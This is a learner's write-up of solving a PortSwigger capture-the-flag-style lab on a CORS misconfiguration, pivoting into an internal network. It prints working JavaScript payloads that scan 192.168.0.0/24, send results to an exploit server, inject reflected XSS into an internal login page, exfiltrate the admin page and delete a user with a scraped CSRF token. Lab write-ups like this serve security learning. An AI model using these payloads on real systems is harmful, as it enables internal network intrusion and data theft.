Introduction

This writup is about how i solved port swigger’s expert lab “CORS vulnerability with internal network pivot attack”. This is the first expert level lab i solved and it required me multiple steps to exploit the vulnerability.

The lab description says:

This website has an insecure CORS configuration in that it trusts all internal network origins. To help solve this lab you can use the Burp Collaborator client or use the access logs provided on the exploit server. This lab requires multiple steps to complete. To solve the lab, craft some JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify and create a CORS-based attack to delete a user. The lab is solved when you delete user Carlos.

This lab, like many others, hosts also an exploit server where we can create a custom response that will be delivered to the victim. The exploit server features an access log page where we can check all the requests that were made to it. This is very usefull for out-of-band exfiltration attacks like this one. Here is what the exploit server page and the access log pages look like in case you have never seen them. As we can see the exploit server has the Deliver exploit to victim functionality, that’s what we will use to deliver the exploits.

Also, this lab is based on a CORS misconfiguration. You can read more about it here. Personally, to make javascript perform external requests, I used the fetch API and i would suggest you to give it a try if you never heard of it.


First step: scanning the internal network

As suggested by the lab description, the first thing to do is scan the victim’s internal network. I did this by deploing the following script (thought the exploit server body):

<script>
var oobserver="your-server-URL"; //your exploit server url goes here
var found=false;
scan();
async function scan(){
 for(var i=1;i<256 && !found;i++){
 fetch(oobserver+"?testing="+i);
 await fetch("http://192.168.0."+i+":8080").then(res=>res.text()).then(t=>{
  fetch(oobserver+"?found="+i+"&res="+encodeURI(t));
  console.log(i);
  found=true;
  }).catch(err=>(console.log("Error")));
 }
}
</script>

This code will make a request to all ip’s in the adress range 192.168.0.1 to 192.168.0.255 on port 8080 and log this process to our exploit server. It stops when it requests something that exists and logs the requested page to our server.
Note that the fetch api makes no differences between a CORS error and a network error, so this scan is only possible becouse the internal network allows requests from any origin.

Once we have deploied this code to the victim, this is what we find if we check our logs: Logs after scanning

As we can see we have located the internal server (192.168.0.236:8080 in this case). If we copy-paste the page passed through the res parameter to our logs in a URL Decoder we get this:

<!DOCTYPE html>
<html>
 <head>
   <link href="/resources/css/labs.css" rel="stylesheet">
   <title>CORS vulnerability with internal network pivot attack</title>
 </head>
 <body>
   <div>
       <script src="/resources/js/labHeader.js"></script>
   <div id="labHeader">
        ByzfRyDABDxPnTBh3§LIGHTxHkQmPFUnkvfVANl
   </div>
   <section class="maincontainer is-page">
    <div class="container">
     <h1>Login</h1>
     <section>
      <form class="login-form" method="POST">
         <input required type="hidden" name="csrf" value="wTzcJ8v3oEBs97IqJIPINAf9nOOWFtnM">
         <label>Username</label>
         <input required type="username" name="username">
         <label>Password</label>
         <input required type="password" name="password">
         <button class="button" type="submit"> Log in </button>
      </form>
     </section>
     </div>
    </section>
   </div>
  </body>
</html>

As we can see the internal server hostes a login page that also exposes some csrf token. I actually find a way to retrive the token on this page but it wasn’t needed for the lab to be exploited so i won’t show it here.
Note: One important thing that I didn’t notice at first is that our request to 192.168.0.236:8080 was redirected to 192.168.0.236:8080/login. This is important because in the next step we need to find a vulnerability on this endpoint.


Second step: find a vulnerability in the internal server

After i realized the internal request was redirected as said above, i restarted to try all my exploit ideas. The first one was actually the right one. I tried to pass a custom username and password to the request. If they are reflected in the response, this will probably lead to XSS.

<script>
var serverip="the-internal-server-ip" //Use the server ip found in Step 1
var oobserver ="exploit-server-URL"; //Use your exploit server URL
fetch("http://"+serverip+":8080/login?username=userxss&password=passxss").then(res=>res.text()).then(res=>
fetch(oobserver+"?res="+encodeURI(res)));
</script>

If we deliver this, as previously, we get a slightly different response as before:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
 <head>
   <link href="/resources/css/labs.css" rel="stylesheet">
    <title>CORS vulnerability with internal network pivot attack</title>
 </head>
 <body>
    <div>
       <script src="/resources/js/labHeader.js"></script>
       <div id="labHeader">
           NaKpqLuewmmGSnnf3§LIGHTXbhOORABJiwyfTVk
        </div>
        <section class="maincontainer is-page">
          <div class="container">
            <h1>Login</h1>
              <section>
                <form class="login-form" method="POST">
                  <input required type="hidden" name="csrf" value="jMoaAt9acuEn8IN2aL4RX6merlsf5cha">
                   <label>Username</label>
                   <input required type="username" name="username" value="userxss">
                   <label>Password</label>
                   <input required type="password" name="password">
                   <button class="button" type="submit"> Log in </button>
                 </form>
              </section>
          </div>
       </section>
    </div>
  </body>
</html>

As we expected the username is reflected in the response(line 20).
What this means is that we can redirect the victim to his internal login page and execute scripts from there, probably bypassing some CORS directives.

Third step: retrieving the Admin Panel

At this point, i had some trouble. I was trying to fetch the publicly avaiable lab site, as i tought i would get a different version of it (with admin privileges). Anyway this wasn’t the case. The admin page was located on the local server at /admin. Once i realized this, after multiple tries, it was easy to Inject some javscript in the local server (Second step) to fetch for us the admin page:

<script>
var serverip ="internal-server-ip"  //Use server ip found in step 1
var oobserver ="your-exploit-server-URL"; //Use your exploit server URL
var exploit = "\"><script>fetch('/admin',{credentials: 'include'}).then(res=>res.text()).then(res=>fetch(`"+oobserver+"?res=${encodeURI(res)}`));</scr"+"ipt><\"";
exploit= encodeURI(exploit);
window.location="http://"+serverip+":8080/login?username="+exploit+"&password=pass";
</script>

The hard part here was to pay attention to all double quotation mark that needed to be in the exploit, some are escaped and for other I used ' instead. Also I made use of javascript’s string templates to construct string from within the injected script.
Note that the injected string has to start with "> to escape the attribute value in witch it is injected. Also the closing script tag is constucted using two strings because of a js known problem.

Anyway, by deploying this code to the victim as seen before, we get a request in our logs, containing the following page:

<!DOCTYPE html>
<html>
    <head>
        <link href="/resources/css/labs.css" rel="stylesheet">
        <title>CORS vulnerability with internal network pivot attack</title>
    </head>
    <body>
        <div theme="ecommerce">
            <script src="/resources/js/labHeader.js"></script>
            <div id="labHeader">
                eHPKrwPVLTmsxqOI3§LIGHTTenYEaocXAMpkyHl
            </div>
            <section class="maincontainer">
                <div class="container is-page">
                    <form class="login-form" action="/admin/delete" method="POST">
                        <input required type="hidden" name="csrf" value="gFgYQSC4C1lTjWdzHSFPaEtgT6mZcpGB">
                        <label>Username</label>
                        <input required type="text" name="username">
                        <button class="button" type="submit"> Delete user </button>
                    </form>
                </div>
            </section>
        </div>
    </body>
</html>

It’s the ADMIN Page!!


Last Step: delete the user ‘carlos’

Now, all we are left to to, is to make our victim perform a POST(or GET) request to /admin/delete from his internal server containing as data the username ‘carlos’ ant the csrf token retrieved on /admin I came up with this working exploit:

<script>
var serverip= "internal-server-ip" //Use ip found in step 1
var exploit = "\"><script>fetch('/admin',{credentials: 'include'}).then(res=>res.text()).then(res=>{var csrf=res.match(/name=\"csrf\" value=\"(.{32})\"/)[1];var amp='\\x26';fetch(`/admin/delete?username=carlos${amp}csrf=${encodeURI(csrf)}`);});</scr"+"ipt><\"";
exploit= encodeURI(exploit);
window.location="http://"+serverip+":8080/login?username="+exploit+"&password=pass";
</script>

This code retrieves the csrf token from the /admin endpoint by using a ReGex, then it performs a request to /admin/delete as described above.Here the one thing that gave me problems, was the & sign. Transmitting it was a problem because it was interpreted as a parameter delimiter in the first request (the same that injected the script). At the end i came up with the workaround you see above.

After delivering this code to the victim The magic popup come up!

Solved Lab


The End

As a conclution, i’m new to web vulnerability and it was a great journey to complete this lab. I’m currently learning all this stuff from port swigger, so go check them out! Hope you enjoyed reading ;D